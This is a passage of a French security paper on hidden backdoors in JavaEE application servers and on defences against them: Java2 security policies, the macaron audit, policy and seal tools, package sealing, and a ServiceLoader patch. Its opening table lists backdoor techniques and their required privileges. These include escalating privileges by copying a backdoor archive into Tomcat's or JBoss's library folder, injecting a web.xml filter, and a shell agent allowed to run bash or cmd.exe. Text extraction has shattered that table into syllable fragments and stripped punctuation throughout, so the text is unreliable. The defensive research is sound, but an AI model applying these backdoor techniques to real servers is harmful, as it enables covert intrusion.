424 Porte derobee dans les serveurs drsquoapplications JavaEE

Inje

cti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Au

gm

enta

tion

de

pri

vil

eges

sou

sT

om

cat

javaioFilePermission

$catalinahomelibwrite

javaioFilePermission

$catalinahomelibread

(Optional)

javautilPropertyPermission

catalinahomeread(Optional)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Au

gm

enta

tion

de

pri

vil

eges

sou

sJB

oss

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerwrite

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerread

(Optionel)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Inje

ctio

nd

efi

ltre

JavaE

Ed

an

swebxml

sou

sT

om

cat

javaioFilePermission

$catalinabasewebapps$warWEB

INFwebxml

write

Cet

teatt

aqu

eco

nsi

ste

ain

ject

eru

nfi

ltre

JE

Ed

an

sla

ver

sion

enca

che

de

Tom

cat

du

fich

ier

webxmlA

up

roch

ain

red

emarr

age

lefi

ltre

est

act

if

Inje

ctio

nS

pri

ng

Au

cun

Inje

ctio

nd

eltbeangt

dan

sle

sfi

chie

rsd

ep

ara

met

rage

de

Sp

rin

gp

ou

rca

ptu

rer

tou

sle

sre

qu

etes

au

fram

ework

MV

C

Pro

gra

mm

ati

on

par

asp

ect

Au

cun

Inje

ctio

nd

etr

ait

emen

tp

ou

rle

sse

rvle

tset

JS

P

Vou

sp

ou

vez

con

state

rqu

ed

eux

att

aqu

esn

en

eces

site

nt

au

cun

pri

vil

ege

Le

tab

leau

suiv

ant

rep

ren

dle

sp

rivil

eges

nec

essa

ires

au

xd

iffer

ents

agen

tsp

rop

ose

sC

esp

rivileg

esn

eso

nt

pas

nec

essa

ires

au

ne

att

aqu

eci

ble

e

P Prados 425A

gents

Priv

ileges

min

imu

ms

necess

air

es

Desc

rip

tion

s

Agen

tH

isto

riqu

eA

ucu

np

rivil

ege

part

icu

lier

A

gen

tm

emori

sant

les

der

nie

res

requ

etes

HT

TP

Agen

tJN

DI

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tm

an

ipu

lant

lrsquoan

nu

air

eJN

DI

Agen

tJM

XjavaxmanagementMBeanPermission

getDomainsgetMBeanInfogetAttribute

Agen

tco

nsu

ltant

les

JM

X

Agen

tJD

BC

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

de

man

ipu

ler

lab

ase

de

don

nee

s

Agen

tJava

avec

lan

gage

Javasc

rip

tA

ucu

np

rivil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

lrsquoex

ecu

tion

de

cod

eJavasc

rip

t

Agen

tJava

avec

lan

gage

Java

javalangRuntimePermission

createClassLoader

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

Agen

tp

erm

etta

nt

laco

mp

ilati

on

de

cod

eJava

alrsquoaid

ed

rsquoAJP

le

com

pilate

ur

de

JS

P

Exte

nsi

on

agen

tJava

pou

rT

om

cat

javaioFilePermission

$catalinahomecommonlibread

javaioFilePermission

$catalinahomecommonendorsedread

javaioFilePermission

$catalinahomecommonendorsedread

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

du

cod

eso

us

Tom

cat

Exte

nsi

on

agen

tJava

pou

ru

ne

com

pilati

on

via

toolsjar

javautilPropertyPermission

javaiotmpdirread

javautilPropertyPermission

javaclasspathread

javautilPropertyPermission

javaendorseddirsread

javautilPropertyPermission

javaextdirsread

javautilPropertyPermission

sunbootclasspathread

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

avec

tools

jar

siA

JP

nrsquoe

stp

as

dis

pon

ible

Agen

tS

hel

l

javaioFilePermission

binbashexecute

javaioFilePermission

WINDOWSSytem32cmdexeexecute

javaioFilePermission

commandcomexecute

Agen

tp

rop

osa

nt

un

shel

l

426 Porte derobee dans les serveurs drsquoapplications JavaEE

Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts

Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela

Tomcat propose un parametre de lancement pour utiliser la securite Java2

$ catalinash run -security

Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer

JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections

51 Utilisation de la securite Java2

Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information

Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante

ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase

Par exemple le fichier suivant indique des privileges pour une archive specifique

grant

permission javautilloggingLoggingPermission

control

permission javautilPropertyPermission

11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml

P Prados 427

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure

Sur le site une video presente egalement un cas drsquoutilisation de cet outil

De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant

$ macaron -policy --output MonComposantpolicy

MonComposantear

Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications

Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy

Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes

Tab 1 Variables de politique de securite

Variable Description

$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant

Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant

428 Porte derobee dans les serveurs drsquoapplications JavaEE

grant

permission javaioFilePermission $webapphomelogread write

Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes

Le fichier de propriete pour Tomcat est le suivant

serverhome=$catalinahome

serverlib=$catalinahome serverlib

webappsbase=file$catalinabase webapps

webappshome=$webappsbase$basename

La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande

$ macaron -policy -P tomcatproperties

-Dbasename=sample

Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication

$ macaron -policy -P tomcatproperties

-Dbasename=$basename

$ export JAVA_OPTS=- Dbasename=sample

$ $TOMCAT_HOMEbincatalinash run -security

Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci

$ macaron -policy --output MonComposantpolicy

-P tomcatproperties MonComposantear

Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)

Privileges separes

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

P Prados 429

ou tous les privileges globalement (parametre --merge )

Privileges globaux

grant

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite

La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple

Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter

Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte

Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation

Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=

ndash httpslocalhost

ndash filedatabasepolicypolicy

ndash policypolicy

Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-

-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise

13 httpmacaron-policygooglecodecom

430 Porte derobee dans les serveurs drsquoapplications JavaEE

Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar

possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme

$ macaron -policy --merge --output securitypolicy

$MACARON_HOMElibpolicy -jar

Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee

$ JAVA_OPT=-Djavasecuritymanager

-Djavasecuritypolicy=securitypolicy

macaron -policy --output -

$MACARON_HOMElibpolicy -jar

Les privileges demandes sont les suivants

grant

permission javautilloggingLoggingPermission control

permission javautilPropertyPermission

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

permission javanetSocketPermission

80 connect resolve

permission javanetSocketPermission

443 connect resolve

permission javalangRuntimePermission

getenvPOLICY_DATABASE

Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy

Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante

$ macaron -policy

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy

P Prados 431

Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run

-security gtaccesslog 2gtamp1

La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses

Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces

-Djavasecuritydebug=access failure permission=javalangRuntimePermission

Ou bien de ne tracer que les privileges necessaires a un composant particulier

-Djavasecuritydebug =

access failure codebase =

file$TOMCAT_HOMEwebappssample

Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug

macaron -policy --accesslog accesslog

Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege

$ macaron -policy

--accesslog accesslog

--policy $CATALINA_HOMEconfcatalinapolicy

$CATALINA_HOMEwebappsMonComposantwar

Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I

$ macaron -policy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

432 Porte derobee dans les serveurs drsquoapplications JavaEE

Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution

Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy

Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant

$ export

JAVA_OPTS=-Djavasecuritydebug=access failure

$ while [ true ] do

echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read

macaron -policy

-P tomcatproperties

--policy $CATALINA_HOMEconfcatalinapolicy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar

echo launch tomcat

$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1

done

Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract

en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi

$ macaron -policy

--loglevel info

--extract

--output mypolicydatabase

--policy $CATALINA_HOMEconfcatalinapolicy

Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum

Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires

P Prados 433

a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication

Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations

$ macaron -policy --help

52 Signature numerique

Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement

grant codebase foocom Signedby foo

Principal comsunsecurityauthSolarisPrincipal duke

permission javasecurityAllPermission

Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant

53 Defense passive

Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons

ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les

memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres

utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges

Un fichier au format XML permet de synthetiser les resultats

$ macaron -audit --output auditxml MonComposantear

$ firefox auditxml

434 Porte derobee dans les serveurs drsquoapplications JavaEE

Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats

Fig 14 Audit

Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs

archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc

ltpackages gt

ltpackage

name=orgaspectjinternallangannotationgt

ltcontext gtaspectjweaver -161 jarltcontext gt

ltcontext gtaspectjrt -160 jarltcontext gt

ltpackage gt

ltpackages gt

Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees

$ macaron -audit --output ignorexml MonComposantear

$ macaron -audit --ignore ignorexml

-output auditxml

MonComposantear

P Prados 435

Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement

ltfilenames gt

ltfilename name=MANIFESTMF gt

ltfilename name=INDEXLIST gt

ltfilename name=packagehtml gt

ltfilenames gt

Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques

Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses

ltdependency gt

ltgroupId gtorgspringframework ltgroupId gt

ltartifactId gtspring -aspects ltartifactId gt

ltversion gt255ltversion gt

ltexclusions gt

ltexclusion gt

ltgroupId gtorgaspectj ltgroupId gt

ltartifactId gtaspectjrt ltartifactId gt

ltexclusion gt

ltexclusions gt

ltdependency gt

Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml

Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2

54 Defense active

Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14

Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)

14 httpjavasuncomdeveloperJDCTechTips2001tt0130html

436 Porte derobee dans les serveurs drsquoapplications JavaEE

Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee

En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle

Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes

Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes

ltbuildgt

ltplugins gt

ltplugin gt

ltartifactId gtmaven -jar -plugin ltartifactId gt

ltconfiguration gt

ltarchive gt

ltmanifestEntries gt

ltSealed gttrueltSealed gt

ltmanifestEntries gt

ltarchive gt

ltconfiguration gt

ltplugin gt

ltplugins gt

ltbuildgt

Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe

Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)

$ macaron -seal --in -place MonComposantear

Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages

Pour plus drsquoinformations invoquez lrsquoaide

$ macaron -seal --help

15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing

P Prados 437

Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local

$ macaron -seal --in -place --sha1 -R m2repository

De meme pour un repository Ivy

$ macaron -seal --in -place -R ivy2cache

Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes

$ macaron -audit --output audit -tomcatxml

-R $CATALINA_HOME

$ macaron -seal --ignore audit -tomcatxml

-R $CATALINA_HOME --in -place

Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe

$ macaron -audit --output - -R $CATALINA_HOME |

macaron -seal --ignore - -R $CATALINA_HOME --in-place

La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges

$ $CATALINA_HOMEbincatalinash run -security

Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables

Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur

$ macaron -seal --audit sealedxml MonComposantwar

$ firefox sealedxml

438 Porte derobee dans les serveurs drsquoapplications JavaEE

55 Reduction du risque des META-INFservices

La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation

Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant

Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface

Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader

if (SystemgetSecurityManager ()=null)

final Permission perm=

new ServicePermission(servicegetName ())

AccessControllerdoPrivileged(

new PrivilegedAction ltObject gt()

public Object run()

if (clazzgetProtectionDomain ()implies(perm))

throw new AccessControlException(

install service denied perm perm)

return null

)

Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin

Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader

De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants

ndash comsunndash orgrelaxingdatatype

ndash sunmisc

P Prados 439

Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees

j2sesrc javautilServiceLoaderjava | 42 +-

j2sesrc javautilServicePermissionjava | 74 ++++

j2sesrc javaxxmlbindContextFinderjava | 66 ---

j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----

j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12

j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----

j2sesrc javaxxmlparsersSAXParserFactoryjava | 17

j2sesrc javaxxmlsoapFactoryFinderjava | 39 --

j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----

j2sesrc javaxxmltransformFactoryFinderjava | 86 ----

j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +

j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--

j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------

j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --

15 files changed 283 insertions (+) 646 deletions(-)

Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet

grant

permission javautilServicePermission

javaxxmlparsersSAXParserFactory

En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ServiceLocator -6jar

Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente

Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat

440 Porte derobee dans les serveurs drsquoapplications JavaEE

56 Reduction du risque des ResourcesBundles

Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles

Fig 15 Nouveau RessourceBundle

La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe

Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang

3Ajava

Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle

$ java -Xbootclasspathppatch -ResourceBundle -5 jar

Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources

static final ResourceBundleControl securityControl =

new ResourceBundleControl ()

private ConcurrentHashMap ltString String gt

cacheType=

new ConcurrentHashMap ltString String gt()

public List ltString gt getFormats(String baseName)

return CollectionsunmodifiableList(

P Prados 441

ArraysasList(securityorder))

public ResourceBundle newBundle(String baseName

Locale locale

String format ClassLoader loader

boolean reload)

throws IllegalAccessException

InstantiationException IOException

ResourceBundle bundle=null

if (formatequals(securityorder))

String lastFormat=cacheTypeget(baseName)

if (lastFormat ==null)

bundle=supernewBundle(baseName locale

